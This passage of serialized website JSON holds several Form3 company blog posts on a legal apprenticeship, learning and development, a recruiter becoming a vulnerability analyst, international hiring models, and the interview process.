me",[],{"type":25,"text":46445,"spans":46479,"direction":445},[],{"type":25,"text":46481,"spans":46482,"direction":445},"I am already 9 months in and have learnt so much about the law, its impact on productions at Form3 in addition to having met experienced professionals from a range of different career backgrounds. I’m also two semesters into my first year at BPP University, who are my university training provider.",[],{"type":25,"text":46484,"spans":46485,"direction":445},"My apprenticeship programme is six years long – a fact that always makes other’s eyes wide open. Despite it being one of the lengthier programmes, it is this way for good reason.",[],"rich_text$fd7a9736-34d5-486a-9ff1-e1dd1b65a3b9",{"variation":437,"version":438,"items":46488,"primary":46489,"id":46512,"slice_type":468,"slice_label":5},[],{"body":46490},[46491,46494,46497,46500,46503,46506,46509],{"type":988,"text":46492,"spans":46493,"direction":445},"What drew me to apprenticeships",[],{"type":25,"text":46495,"spans":46496,"direction":445},"I became aware of apprenticeships as an alternative to university shortly after I finished my A-level exams. At the time, I had received my five university options, none of which I was overly drawn to. I wanted to ensure the time, money and effort that I would go on to invest into studying law at university was a decision I was wholeheartedly in for.",[],{"type":25,"text":46498,"spans":46499,"direction":445},"A summer legal internship and a set of A-Level results later, I came to the realisation that I wasn’t quite ready to take the next step academically, not without a well-earned break and the opportunity of exploring other potential gateways into a legal career. And so, I decided that a gap year was in order. I devised a one-year plan that covered experiences and milestones I wanted to hit before settling into the next chunk of my academic life.",[],{"type":25,"text":46501,"spans":46502,"direction":445},"I wouldn’t ever have been able to fathom how important the year out of education would be for me. I broadened my cv with professional working experience, a volunteering position and I accomplished my final DofE Gold award. I also published an e-book (Lawyer in Progress) as part of a six-month project following on from my summer internship, designed to provide school leavers the advice that I also desperately needed when fresh out of sixth form.",[],{"type":25,"text":46504,"spans":46505,"direction":445},"Whilst busying myself with the above, I completed numerous legal work experience programmes in my gap year, both in-person and virtual, to understand what the legal career I aspired to have would really entail.",[],{"type":25,"text":46507,"spans":46508,"direction":445},"The one-year plan I devised certainly paid off – the skills I began to develop from the experience that I gained gave me a LOT more to talk about in my second round of university",[],{"type":25,"text":46510,"spans":46511,"direction":445},"applications and first round of apprenticeship applications. I spent a copious amount of time researching the apprenticeship schemes offered in the legal sector. The more I learnt about the legal apprenticeship schemes offered to school leavers, the more committed I became to getting enrolled into one. I wasn’t quite ready to let go of the routine I had built in my gap year earning a wage and learning about the law.",[],"rich_text$2b55282b-6829-4f4b-a270-97d0d7fce25d",{"variation":437,"version":438,"items":46514,"primary":46515,"id":46529,"slice_type":468,"slice_label":5},[],{"body":46516},[46517,46520,46523,46526],{"type":988,"text":46518,"spans":46519,"direction":445},"What drew me to Form3",[],{"type":25,"text":46521,"spans":46522,"direction":445},"After setting my sights on a legal apprentice job post at Form3 on LinkedIn, I was fixed on getting this particular apprenticeship programme. As I went through the interview process, I learnt more and more about what Form3 did and my interest only grew. It was my first apprenticeship application for an in-house legal team as a lot of the paralegal and solicitor apprenticeships I had applied for were based in private practice.",[],{"type":25,"text":46524,"spans":46525,"direction":445},"I quickly became drawn to Form3 after recognising that working in-house here would mean that I would not only developing my legal knowledge, but also learn about business productions, payment infrastructure etc - something that I didn’t initially know a legal apprenticeship could offer me.",[],{"type":25,"text":46527,"spans":46528,"direction":445},"9 months into my six-year programme at Form3 and I can say that the time I’ve spent working here has truly exceeded what were already really high expectations joining the company.",[],"rich_text$31c8460d-ff76-4e92-b9bd-2e780ce61720",{"variation":437,"version":438,"items":46531,"primary":46532,"id":46555,"slice_type":468,"slice_label":5},[],{"body":46533},[46534,46537,46540,46543,46546,46549,46552],{"type":988,"text":46535,"spans":46536,"direction":445},"My journey so far as a Legal Team apprentice",[],{"type":3373,"text":46538,"spans":46539,"direction":445},"I’ve shadowed senior members of my team in calls with internal and external associates.",[],{"type":3373,"text":46541,"spans":46542,"direction":445},"I’ve presented training sessions on DocuSign and NDA reviews to other departments.",[],{"type":3373,"text":46544,"spans":46545,"direction":445},"I’ve developed a host of skills, for example: legal research and drafting; reviewing contracts and my verbal and written communication skills.",[],{"type":3373,"text":46547,"spans":46548,"direction":445},"I’ve been introduced to the world of payment software infrastructure.",[],{"type":3373,"text":46550,"spans":46551,"direction":445},"I’ve been able to work alongside a number of other functions company-wide, meeting inspiring professionals from different backgrounds.",[],{"type":3373,"text":46553,"spans":46554,"direction":445},"I’ve joined Form3’s Freshers community, being able to meet other hardworking apprentices who work in different sectors of the company.",[],"rich_text$4fa8c1d9-d37b-4537-b6d5-3c49fe395ed6",{"variation":437,"version":438,"items":46557,"primary":46558,"id":46563,"slice_type":468,"slice_label":5},[],{"body":46559},[46560],{"type":25,"text":46561,"spans":46562},"What I enjoy the most about working here at Form3 is how no two days are the same - I get to learn something new each day. As put at the beginning, working at Form3 has definitely been the best investment of my time and effort.",[],"rich_text$9264edff-3e6a-4b3c-9c99-c7b763abd0e7",{"variation":437,"version":438,"items":46565,"primary":46566,"id":46586,"slice_type":468,"slice_label":5},[],{"body":46567},[46568,46571,46574,46577,46580,46583],{"type":988,"text":46569,"spans":46570,"direction":445},"The benefits of an apprenticeship",[],{"type":3373,"text":46572,"spans":46573,"direction":445},"Apprenticeships provide a vast amount of flexibility in how you complete the academic portion of your qualification. For example, remote study omits the travel",[],{"type":3373,"text":46575,"spans":46576,"direction":445},"Apprenticeships grant you the opportunity to earn while you learn, and the learning portion won’t cost you a dime as your qualification is fully funded.",[],{"type":3373,"text":46578,"spans":46579,"direction":445},"For visual learners like me, being able to practice the elements of my degree every day at work makes what I’m learning easier to comprehend.",[],{"type":3373,"text":46581,"spans":46582,"direction":445},"There isn’t a more convenient environment to learn in than in-house given that you’ll have a large number of colleagues who are fully qualified, experienced and intelligent.",[],{"type":3373,"text":46584,"spans":46585,"direction":445},"In my case, I will have six years of invaluable legal work experience by the age of 25!",[],"rich_text$eaca2dd7-2d0a-4b74-a034-b8cd98a5e026",{"id":46588,"uid":46589,"type":42493,"data":46590},"alz1kBEAACkAUWpV","planning-our-learning-for-the-year-ahead",{"title":46591,"excerpt":46592,"card_image":46593,"published_date":46599,"reading_time":418,"tag":42499,"dek":5,"featured_image":46600,"about_form3":46605,"client_about_heading":5,"client_about_body":46606,"author_name":5,"author_title":5,"author_photo":46607,"author_bio":46608,"author_linkedin":46609,"slices":46610,"meta_title":46591,"meta_description":46592},"Planning our learning for the year ahead","The past year has been an incredibly busy one for us at Form3, so it makes it all the more impressive that we still found time to prioritise our personal development. This level of continuous improvement brilliantly demonstrates our high standards value.",{"dimensions":46594,"alt":46595,"copyright":5,"url":46596,"id":46597,"edit":46598},{"width":412,"height":412},"learning and development","\u002F_prismic-media\u002F9b018e6c738db8c6-Z-n8OzY1SvEAHvct_planning-our-learning-for-the-y.png","Z-n8OzY1SvEAHvct",{"x":398,"y":398,"zoom":399,"background":400},"2023-02-14",{"dimensions":46601,"alt":5,"copyright":5,"url":46602,"id":46603,"edit":46604},{"width":32025,"height":3730},"\u002F_prismic-media\u002F58cef0816b79190d-bS0ckI17LA_CM0p4_fe7df5d0-15ae-4661-9c91-cab8a40.png","bS0ckI17LA_CM0p4",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[46611,46630,46653],{"variation":437,"version":438,"items":46612,"primary":46613,"id":46629,"slice_type":468,"slice_label":5},[],{"body":46614},[46615,46618,46622,46625],{"type":988,"text":46616,"spans":46617,"direction":445},"Pause and reflect",[],{"type":25,"text":46619,"spans":46620,"direction":445},"The past year has been an incredibly busy one for us at Form3, so it makes it all the more impressive that we still found time to prioritise our personal development. This level of continuous improvement brilliantly demonstrates our high standards value. ",[46621],{"start":19275,"end":9373,"type":593},{"type":25,"text":46623,"spans":46624,"direction":445},"We wanted to acknowledge the efforts of our team who utilised their learning benefits in 2022, as well as encourage everyone to pause and reflect before diving into the new year. ",[],{"type":25,"text":46626,"spans":46627,"direction":445},"This is why we picked learning as our theme for January. Keep reading to find out what this involved! ",[46628],{"start":7635,"end":3041,"type":593},"rich_text$f1446044-e98f-461a-9504-15b1a24f409e",{"variation":437,"version":438,"items":46631,"primary":46632,"id":46652,"slice_type":468,"slice_label":5},[],{"body":46633},[46634,46637,46640,46645,46649],{"type":988,"text":46635,"spans":46636,"direction":445},"Looking back to plan ahead",[],{"type":25,"text":46638,"spans":46639,"direction":445},"One of the principles of our Form3 learning benefits is the freedom our colleagues have to learn whatever they feel will benefit their technical and professional development. We designed our benefits to be fully flexible, allowing our team to shape their career in the direction they want it to grow. However, this presents another problem which is having too much choice!  ",[],{"type":25,"text":46641,"spans":46642,"direction":445},"The Learning Summary is our solution. This document detailed how everyone in the company used their learning benefits. Its aim is to provide ideas & inspiration about how our L&D Allowance and Learning Days can be used. ",[46643,46644],{"start":10862,"end":9242,"type":593},{"start":19847,"end":10671,"type":593},{"type":25,"text":46646,"spans":46647,"direction":445},"We truly embraced transparency by showing colleagues: what books everyone read, what courses and certifications they completed, what platforms they subscribed to, what groups they’re members of and what conferences they attended.  ",[46648],{"start":2769,"end":3041,"type":593},{"type":25,"text":46650,"spans":46651,"direction":445},"It also let us celebrate all the fantastic ways we chose to better ourselves in 2022, and provided the perfect opportunity to plan our development journey for the upcoming year. ",[],"rich_text$632ec162-7c90-4df9-a0a2-0e210e3d622e",{"variation":437,"version":438,"items":46654,"primary":46655,"id":46699,"slice_type":468,"slice_label":5},[],{"body":46656},[46657,46660,46663,46673,46686,46693,46696],{"type":988,"text":46658,"spans":46659,"direction":445},"International Day of Education",[],{"type":25,"text":46661,"spans":46662,"direction":445},"As part of our Fun3 Social Calendar we celebrated International Day of Education. The goal of this day is to highlight and help young people without access to education.  ",[],{"type":25,"text":46664,"spans":46665,"direction":445},"Our Fun3 Social Calendar event this month was International Day of Education – January 24th as proclaimed by UNESCO. The goal of this day is to highlight and help young people without access to education.  ",[46666,46669,46672],{"start":9202,"end":854,"type":489,"data":46667},{"link_type":491,"url":46668,"target":493},"https:\u002F\u002Fwww.unesco.org\u002Fen\u002Fdays\u002Feducation",{"start":12974,"end":9222,"type":489,"data":46670},{"link_type":491,"url":46671,"target":493},"https:\u002F\u002Fwww.unesco.org\u002Fen",{"start":12974,"end":9222,"type":593},{"type":25,"text":46674,"spans":46675,"direction":445},"We truly believe everyone matters and wanted to do our bit to help. So, for the last week of January, our learning at Form3 would result in a donation to our social partner, ReDI School. \nFor every hour of learning completed by our team between 23rd-27th January, tracked via Udemy, and for every book read via Perlego – donations would be made. ",[46676,46677,46680,46683],{"start":6911,"end":9077,"type":593},{"start":10918,"end":39830,"type":489,"data":46678},{"link_type":491,"url":46679,"target":493},"https:\u002F\u002Fwww.redi-school.org\u002F%22%20\u002Ft%20%22_blank",{"start":1802,"end":23881,"type":489,"data":46681},{"link_type":491,"url":46682,"target":493},"https:\u002F\u002Fwww.udemy.com\u002F",{"start":9162,"end":35321,"type":489,"data":46684},{"link_type":491,"url":46685,"target":493},"https:\u002F\u002Fwww.perlego.com\u002Fes\u002Fbiblioteca-online%22%20\u002Ft%20%22_blank",{"type":25,"text":46687,"spans":46688,"direction":445},"To coincide with this week, we also launched some brand new Form3 training on Inclusion & Leadership. It was evident that we all care deeply; everyone really got behind this event, adjusted their schedules and made sure they completed more learning than usual. In the end, we are incredibly proud to donate 524€ to ReDI School! ",[46689,46690],{"start":15360,"end":5703,"type":593},{"start":38915,"end":1803,"type":489,"data":46691},{"link_type":491,"url":46692,"target":493},"https:\u002F\u002Fwww.redi-school.org\u002F",{"type":25,"text":46694,"spans":46695,"direction":445},"Hopefully this has spurred you on to map out your personal development goals, or at least encourage you to regularly plan time for learning each week.  ",[],{"type":25,"text":46697,"spans":46698,"direction":445},"We’re fortunate to have access to such fabulous educational resources, so it’s important that we make the most of them! ",[],"rich_text$b84e49f9-d319-4ae7-883b-f489c09ad815",{"id":46701,"uid":46702,"type":42493,"data":46703},"alz1hhEAACoAUWoj","from-security-recruiter-to-vulnerability-analyst-at-form3",{"title":46704,"excerpt":46705,"card_image":46706,"published_date":5530,"reading_time":418,"tag":42560,"dek":46711,"featured_image":46712,"about_form3":46718,"client_about_heading":5,"client_about_body":46719,"author_name":46720,"author_title":46721,"author_photo":46722,"author_bio":46727,"author_linkedin":46728,"slices":46731,"meta_title":46704,"meta_description":46705},"From Security Recruiter to Vulnerability Analyst at Form3","Security has always piqued my interest, so it is no surprise that I have found myself in the world of recruitment, placing security professionals across a range of verticals. This has taught me great deal! From the ins and outs of Cyber Security, to how teams operate, to what responsibilities each role entails.",{"dimensions":46707,"alt":46704,"copyright":5,"url":46708,"id":46709,"edit":46710},{"width":412,"height":412},"\u002F_prismic-media\u002F3865684829ff7bde-QyfAuaDw1NH_WUIW_from-security-recruiter-to-vuln.png","QyfAuaDw1NH_WUIW",{"x":398,"y":398,"zoom":399,"background":400},"Security has always piqued my interest, so it is no surprise that I have found myself in the world of recruitment, placing security professionals across a range of verticals. This has taught me great deal! From the ins and outs of Cyber Security, to how teams operate, to what responsibilities each role entails.   However, upon joining Form3 I quickly realised I needed to know so much more if I wanted to deliver awesome candidates into the business! In this blog post, I'll share my journey of self-improvement, progressing from a talent partner to a soon-to-be a member of the security team.",{"dimensions":46713,"alt":46714,"copyright":5,"url":46715,"id":46716,"edit":46717},{"width":501,"height":502},"Security Recruiter","\u002F_prismic-media\u002F4dbb2b61c9cbc2d1-3qEcHd4eGGZcSFOx_e17ea070-7fb5-4458-b3c6-dd2e1b0.png","3qEcHd4eGGZcSFOx",{"x":398,"y":398,"zoom":399,"background":400},[],[],"Matt Hockey","Talent Partner",{"dimensions":46723,"alt":46720,"copyright":5,"url":46724,"id":46725,"edit":46726},{"width":5080,"height":5081},"\u002F_prismic-media\u002F429af1b56762dd34-CifY4QKh8f_tJfd_2536f134-5aca-45fa-865c-f41a2771.png","_CifY4QKh8f_tJfd",{"x":398,"y":398,"zoom":399,"background":400},[],{"link_type":491,"key":46729,"url":46730,"target":493},"58f483e6-e1fd-4531-a81e-80bcd2ad410e","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fmatt-hockey-183a3a171\u002F",[46732,46770,46784,46804],{"variation":437,"version":438,"items":46733,"primary":46734,"id":46769,"slice_type":468,"slice_label":5},[],{"body":46735},[46736,46739,46742,46748,46751,46755,46759,46763,46766],{"type":988,"text":46737,"spans":46738,"direction":445},"Step 1: Understand the teams and the technology they use",[],{"type":25,"text":46740,"spans":46741,"direction":445},"Our Security team work with the latest, cutting edge-technology on a custom-built platform that sets them apart from the rest. So, finding talented candidates who are well-versed in these areas can be a real challenge.  ",[],{"type":25,"text":46743,"spans":46744,"direction":445},"I set myself the task of learning more about the technology used at Form3 and the domains that our Security team work within, so that I could get creative when sourcing and identifying talent that may otherwise have been missed.  ",[46745],{"start":2868,"end":3089,"type":489,"data":46746},{"link_type":491,"url":46747,"target":493},"https:\u002F\u002Fstackshare.io\u002Fform3\u002Fmain",{"type":25,"text":46749,"spans":46750,"direction":445},"To do this I spent time with our Security team, asking (too many) questions to better understand the tech they use and the projects they are working on;.   ",[],{"type":1151,"text":46752,"spans":46753,"direction":445},"What does this technology do?   ",[46754],{"start":398,"end":3041,"type":765},{"type":1151,"text":46756,"spans":46757,"direction":445},"Are there any other technologies that solve a similar problem?   ",[46758],{"start":398,"end":629,"type":765},{"type":1151,"text":46760,"spans":46761,"direction":445},"Why is this technology suitable for a company like Form3?  ",[46762],{"start":398,"end":3639,"type":765},{"type":25,"text":46764,"spans":46765,"direction":445},"I then supplemented this knowledge by enrolling on several Udemy courses (thanks Form3 for providing me with unlimited Udemy access!) and attending in-person security events.  ",[],{"type":25,"text":46767,"spans":46768,"direction":445},"This process not only expanded my knowledge of security- related technology , but it also helped me build strong relationships with Form3’s Security teams and gained a true appreciation for the incredible work they do.   ",[],"rich_text$3cb24eee-99b5-4204-b400-b7a505c4ab1e",{"variation":437,"version":438,"items":46771,"primary":46772,"id":46783,"slice_type":468,"slice_label":5},[],{"body":46773},[46774,46777,46780],{"type":988,"text":46775,"spans":46776,"direction":445},"Step 2: Gain the trust of your internal stakeholders",[],{"type":25,"text":46778,"spans":46779,"direction":445},"In attaining more security knowledge, I gained the trust of Form3’s Security teams. This made true collaboration possible, and really helped me provide a better recruitment experience for all stakeholders. By understanding what it meant to work at Form3, I could help define job specifications and set more realistic expectations with hiring managers around how long it may take to find the profile they were looking for.   ",[],{"type":25,"text":46781,"spans":46782,"direction":445},"Over the time spent working with Form3’s Security team we’ve made incremental improvements to the recruitment process, specifically around how we assess candidates, the documentation to ensure consistency and sharing more information with candidates before and after interview. ",[],"rich_text$518a0acd-d687-4340-a021-0bb60e5d78dc",{"variation":437,"version":438,"items":46785,"primary":46786,"id":46803,"slice_type":468,"slice_label":5},[],{"body":46787},[46788,46791,46794,46797,46800],{"type":988,"text":46789,"spans":46790,"direction":445},"Step 3:  Use this knowledge to find and engage with the best talent in security",[],{"type":25,"text":46792,"spans":46793,"direction":445},"Equipped with the above meant I could get creative when sourcing, exploring avenues that I would not have known existed previously.   ",[],{"type":25,"text":46795,"spans":46796,"direction":445},"As an example of this, rather than only reaching out to people that specifically mentioned Kubernetes on their profile or CV, I began to incorporate other terminology, methodologies and technologies into my searches that centred around container orchestration. This opened so many doors and allowed me to find many more relevant candidates.  ",[],{"type":25,"text":46798,"spans":46799,"direction":445},"Once I had identified a potentially suitable profile, I could then utilise this knowledge to create custom outreach messages which I hoped would better attract the candidate's attention, and therefore make it more likely they would apply to Form3. The increase in response rate was also thanks to the engineers who I sat with and listened to as they spoke about the criteria, they have for messages that would warrant a response from them.   ",[],{"type":25,"text":46801,"spans":46802,"direction":445},"The understanding I had of security practices meant I was able to provide candidates with an authentic and hopefully attractive overview of what life within Form3’s Security teams was really like during our introduction calls.   ",[],"rich_text$18690cc5-da21-4f24-9462-3ba1e029a25f",{"variation":437,"version":438,"items":46805,"primary":46806,"id":46822,"slice_type":468,"slice_label":5},[],{"body":46807},[46808,46810,46813,46816,46819],{"type":988,"text":29076,"spans":46809,"direction":445},[],{"type":25,"text":46811,"spans":46812,"direction":445},"I’d encourage anyone working in Talent to make the effort to really understand the areas they recruit into. Not only does it help with your personal and professional development, but it will massively improve your ability to deliver for your candidates and stakeholders.  ",[],{"type":25,"text":46814,"spans":46815,"direction":445},"From the learning & development budget available to all employees and the educational materials we have access to, to the willingness of our Security teams to invest time in me to help my development, Form3 has enabled me to learn so much more than I ever thought possible. This also seems like an appropriate time to thank them for their patience and support throughout my time with Form3 so far!  ",[],{"type":25,"text":46817,"spans":46818,"direction":445},"These learnings have not only helped me grow as a person but have also facilitated the next step in my career; a move into Form3’s SecOps team as a Vulnerability Management Analyst.   ",[],{"type":25,"text":46820,"spans":46821,"direction":445},"I am incredibly grateful for the opportunity and extremely excited to start! ",[],"rich_text$a9a753fd-6b4c-4e07-bb9f-66abeb599b66",{"id":46824,"uid":46825,"type":42493,"data":46826},"alz1mhEAACsAUWqK","intentionally-international",{"title":46827,"excerpt":46828,"card_image":46829,"published_date":46835,"reading_time":4603,"tag":42560,"dek":46828,"featured_image":46836,"about_form3":46837,"client_about_heading":5,"client_about_body":46838,"author_name":5,"author_title":5,"author_photo":46839,"author_bio":46840,"author_linkedin":46841,"slices":46842,"meta_title":46827,"meta_description":46828},"Intentionally International","Over the past year, we have grown massively at Form3, increasing our employee footprint to over 30 locations, and more recently, going global, with colleagues now based in Argentina & North America. We founded Form3 to be intentionally international, and to foster a company culture that embraces all nationalities.",{"dimensions":46830,"alt":46831,"copyright":5,"url":46832,"id":46833,"edit":46834},{"width":412,"height":412},"Intentionally International ","\u002F_prismic-media\u002F2ef484c2e9c0ef9b-6LxU-73AJnju25Gm_intentionally-international.png","6LxU-73AJnju25Gm",{"x":398,"y":398,"zoom":399,"background":400},"2023-01-12",{},[],[],{},[],{"link_type":434},[46843,46860,46877,46891,46908],{"variation":437,"version":438,"items":46844,"primary":46845,"id":46859,"slice_type":468,"slice_label":5},[],{"body":46846},[46847,46850,46853,46856],{"type":25,"text":46848,"spans":46849},"You might have seen from our previous blog posts that we’re a remote-first team. This has been our model since before the Covid-19 pandemic, and truly is our strength, as we have come leaps and bounds in terms of our hiring strategy over the past 18 months. Our international and remote-first environment allows us to hire colleagues under three main pillars: ",[],{"type":1151,"text":46851,"spans":46852},"Permanent and direct hiring",[],{"type":1151,"text":46854,"spans":46855},"Permanent hiring via an employer of record ",[],{"type":1151,"text":46857,"spans":46858},"B2B contracting",[],"rich_text$1f335837-15bb-40d4-8032-c76ebb0c9b17",{"variation":437,"version":438,"items":46861,"primary":46862,"id":46876,"slice_type":468,"slice_label":5},[],{"body":46863},[46864,46867,46870,46873],{"type":988,"text":46865,"spans":46866,"direction":445},"Direct hiring",[],{"type":25,"text":46868,"spans":46869,"direction":445},"We’re currently able to hire colleagues directly in 6 locations from the UK to the US.  Direct hiring essentially means that we (Form3) can hire them as employees, rather than as contractors or via an employer of record. ",[],{"type":25,"text":46871,"spans":46872,"direction":445},"At the start of the year, our team went through the process of setting everything up from a people perspective in the US; vetting payroll and benefits providers, engaging insurance brokers, navigating the world of US healthcare, and finally landing on a package that we’re sure will attract top talent in the 4 US states which we have initially identified as key hiring hubs. The vendors we have worked with have been instrumental to us gaining an understanding of what works for a tech company of our size in these territories and continue to support us on this journey we are on.",[],{"type":25,"text":46874,"spans":46875,"direction":445},"The benefit of being able to hire employees directly in the US as well as in our other locations means that we have a direct relationship with our employees from the get-go, implement benefit plans of our choosing, while reducing our onboarding costs, since we can directly control what this looks like. ",[],"rich_text$960a8115-8cb4-42f5-b85e-0f65ac429b41",{"variation":437,"version":438,"items":46878,"primary":46879,"id":46890,"slice_type":468,"slice_label":5},[],{"body":46880},[46881,46884,46887],{"type":988,"text":46882,"spans":46883,"direction":445},"Hiring via an employer of record",[],{"type":25,"text":46885,"spans":46886,"direction":445},"We have been working with our chosen employer-of-record (EoR) for the last 18 months to hire employees in locations where we either don’t have a big headcount just yet, or where the process of establishing a people set up is super complex. We’ve chosen to work with Deel. There are many employer of record options out there, but Deel won out through our vendor assurance processes for a few reasons.  Firstly, they offer the ability to support us in all the locations where we have an existing headcount, and in locations that we planned to hire into in the future. Through Deel, we are also able to offer immigration sponsorship to colleagues in locations where our set-up doesn’t yet allow it, and provide location-specific perks (such as 30% tax relief to eligible colleagues in The Netherlands). Another big thing that stood out for us with Deel, was the account management experience; mainly delivered by our awesome Account Manager, Tiago. We’re able to communicate asynchronously via Slack, at speed which means the employee experience doesn’t suffer! Working with Deel has been an invaluable part of our expansion journey as we quite simply would not have been able to grow to the size we are without their services.",[],{"type":25,"text":46888,"spans":46889,"direction":445},"Although our employees are technically hired by the employer of record, 100% of the work they do is for Form3. This means that they are able to fully enjoy the complete Form3 benefits package, including our long-term incentive plans, Health & Wellness allowance, Learning & Development allowance, Hofy allowance to rent home office equipment… the list goes on!",[],"rich_text$e6a6f41a-4d38-451b-bfe5-6a0c7a374dfe",{"variation":437,"version":438,"items":46892,"primary":46893,"id":46907,"slice_type":468,"slice_label":5},[],{"body":46894},[46895,46898,46901,46904],{"type":988,"text":46896,"spans":46897,"direction":445},"B2B contractors",[],{"type":25,"text":46899,"spans":46900,"direction":445},"A sizable percentage of our R&D population is engaged with Form3 through business-to-business contracts.  \nThough traditionally, a contracting relationship with a business can often mean missing out on employee benefits, we also offer as many benefits as possible to our contractor colleagues!",[],{"type":25,"text":46902,"spans":46903,"direction":445},"The contracting model suits us greatly, as it means we can hire colleagues in locations where employee taxes would otherwise be significant, such as in Poland, or in locations where our we are not yet able to offer permanent employment, such as in Argentina.",[],{"type":25,"text":46905,"spans":46906,"direction":445},"In addition, all colleagues engaged with us through business-to-business contracts have the option to convert to becoming permanent employees by request, meaning that they can benefit from our generous annual leave allowance and more!  ",[],"rich_text$89c383c1-3c49-47e3-b4ac-88588d237e9d",{"variation":437,"version":438,"items":46909,"primary":46910,"id":46924,"slice_type":468,"slice_label":5},[],{"body":46911},[46912,46915,46918,46921],{"type":988,"text":46913,"spans":46914,"direction":445},"Plans for the future",[],{"type":25,"text":46916,"spans":46917,"direction":445},"We’re building resilience in our team by intentionally focusing our hiring efforts in locations that offer us the opportunity to cross multiple time zones, allowing us to adopt a ‘follow the sun’ model and increase our employee footprint.  This means that there will be less need for our EU-based teams to work overtime and be on-call during unsociable hours since their colleagues in the rest of the world are able to provide support as part of their regular working day.",[],{"type":25,"text":46919,"spans":46920,"direction":445},"Under this model, we’re working really hard to benchmark and research which hiring locations suit our commercial needs as well as our hiring needs\u002F preferences. ",[],{"type":25,"text":46922,"spans":46923,"direction":445},"We have our sights set on locations that are renown for having a strong engineering presence, as well as those with equivalent data regulations to the UK and the EU…. Watch this space to see where we land next!",[],"rich_text$5fb0c054-6f93-4d99-8e8e-ed562f045d81",{"id":46926,"uid":46927,"type":42493,"data":46928},"alz1gBEAACgAUWoD","our-interview-process",{"title":46929,"excerpt":46930,"card_image":46931,"published_date":46936,"reading_time":418,"tag":42560,"dek":46937,"featured_image":46938,"about_form3":46943,"client_about_heading":5,"client_about_body":46944,"author_name":43482,"author_title":43483,"author_photo":46945,"author_bio":46948,"author_linkedin":46949,"slices":46951,"meta_title":46929,"meta_description":46930},"Our interview process","At Form3, we’re committed to making interviewing as smooth and transparent as possible. Read about our promise to our candidates here.",{"dimensions":46932,"alt":46929,"copyright":5,"url":46933,"id":46934,"edit":46935},{"width":412,"height":412},"\u002F_prismic-media\u002F35a71c3d7d77fc88-ZONd9jMW_zhn9Bir_our-interview-process.png","ZONd9jMW_zhn9Bir",{"x":398,"y":398,"zoom":399,"background":400},"2023-03-28","Our interview process is designed to help us get to know you better, while also giving you the opportunity to learn more about us and our culture.",{"dimensions":46939,"alt":5,"copyright":5,"url":46940,"id":46941,"edit":46942},{"width":2801,"height":2802},"\u002F_prismic-media\u002Fcad7a576d58ab8a5-Y3mTUkm10vBT7djD_aac21f7d-dd21-4805-98e2-3c8b8d7.png","Y3mTUkm10vBT7djD",{"x":398,"y":398,"zoom":399,"background":400},[],[],{"dimensions":46946,"alt":43482,"copyright":5,"url":43486,"id":43487,"edit":46947},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":400},[],{"link_type":491,"key":46950,"url":42091,"target":493},"15084c5c-5b33-47e1-a0e1-a48dce810994",[46952,47000],{"variation":437,"version":438,"items":46953,"primary":46954,"id":46999,"slice_type":468,"slice_label":5},[],{"body":46955},[46956,46959,46963,46967,46971,46975,46979,46983,46987,46991,46995],{"type":988,"text":46957,"spans":46958,"direction":445},"Here’s what you can expect at each stage of the process",[],{"type":3373,"text":46960,"spans":46961,"direction":445},"Application 📝  The first step in the process is to submit your application through our careers page. You should receive an automated email to acknowledge receipt of your application. This is your chance to tell us about your skills and experience, and to explain why you’re interested in joining our team. Our Applicant Tracking System is Greenhouse and we review all applications via this platform. Every single application is reviewed by someone from our Talent Team, not by AI. We’ve also tried to remove any barriers when applying, with limited application questions and no CV required. You should expect to hear from the Talent team within 2 working days of submitting your CV.",[46962],{"start":398,"end":602,"type":593},{"type":3373,"text":46964,"spans":46965,"direction":445},"Review application 🔍  Once we receive your application, our Talent team will review it carefully to ensure that you meet the requirements for the role. If your application meets these expectations, we’ll email you an invite to schedule a preliminary video screening call with the Talent team. If your application doesn’t meet the requirements, we will also let you know via email.",[46966],{"start":398,"end":6262,"type":593},{"type":3373,"text":46968,"spans":46969,"direction":445},"Introductory video call 📹  The introductory video screening call typically takes 30-45 minutes and will be conducted over Zoom. The Talent team will email you all the details including the Zoom link. This is an opportunity for us to get to know you better and to learn more about your skills and experience. It’s also an opportunity for you to learn more about Form3, as we provide a thorough overview of the company and the specific department you’d be looking to join. The Talent team will also discuss salary, compensation, notice periods etc.",[46970],{"start":398,"end":4023,"type":593},{"type":3373,"text":46972,"spans":46973,"direction":445},"Take home assignment or case study 🤔  Depending on the role you’ve applied for; we may ask you to complete a technical test (for our technical roles) or a case study (for our Product and Operations roles). This step is designed to assess your skills and to ensure you have the technical or product knowledge required for the role.",[46974],{"start":398,"end":1131,"type":593},{"type":3373,"text":46976,"spans":46977,"direction":445},"Skills based interview(s) 👩‍💻  If you pass the take home assignment or case study, we’ll invite you for a skills-based interview. This is typically where you’d get to meet with members of the team you’ll be working alongside. This interview(s) may include questions about your experience, problem-solving skills, and other relevant topics.",[46978],{"start":398,"end":1066,"type":593},{"type":3373,"text":46980,"spans":46981,"direction":445},"Final interview 🎤  If you’re successful in the skills-based interview(s), we’ll invite you to a final interview. This is normally where you’d meet the head of department. This tends to be more of a cultural-fit\u002Fadd type of interview to learn more about the role, the company culture, projects etc.",[46982],{"start":398,"end":2477,"type":593},{"type":3373,"text":46984,"spans":46985,"direction":445},"Offer 🎉  If you’re successful in the final interview, we’ll make you a formal offer to join our team! We’ll work with you to ensure you have all the information you need to make an informed decision, and we’ll be here to answer any questions you may have along the way.",[46986],{"start":398,"end":643,"type":593},{"type":3373,"text":46988,"spans":46989,"direction":445},"Post offer 🤝  If you decide to accept our offer, the Talent team will get the onboarding process started by looping our People team into the process. They will be in touch with your employment contract within a few working days and will be there to answer any questions you might have.",[46990],{"start":398,"end":905,"type":593},{"type":3373,"text":46992,"spans":46993,"direction":445},"Background checks 🔦  Our background checks typically take 3-5 weeks, so we normally work out a start date at least 5 weeks from your verbal acceptance of our offer. Again, the People team will be in touch with all the details. The same applies if you require Sponsorship.",[46994],{"start":398,"end":6911,"type":593},{"type":3373,"text":46996,"spans":46997,"direction":445},"Candidate feedback 🤲  Regardless of where your journey ends in the interview process, we’ll give you the opportunity to leave feedback on how you found it. It’s anonymous, so you can be totally honest.",[46998],{"start":398,"end":4023,"type":593},"rich_text$5e181fb7-5627-4625-93de-f689a2a56a37",{"variation":437,"version":438,"items":47001,"primary":47002,"id":47016,"slice_type":468,"slice_label":5},[],{"body":47003},[47004,47007,47010,47013],{"type":25,"text":47005,"spans":47006},"Form3 are currently hiring across all our departments and each 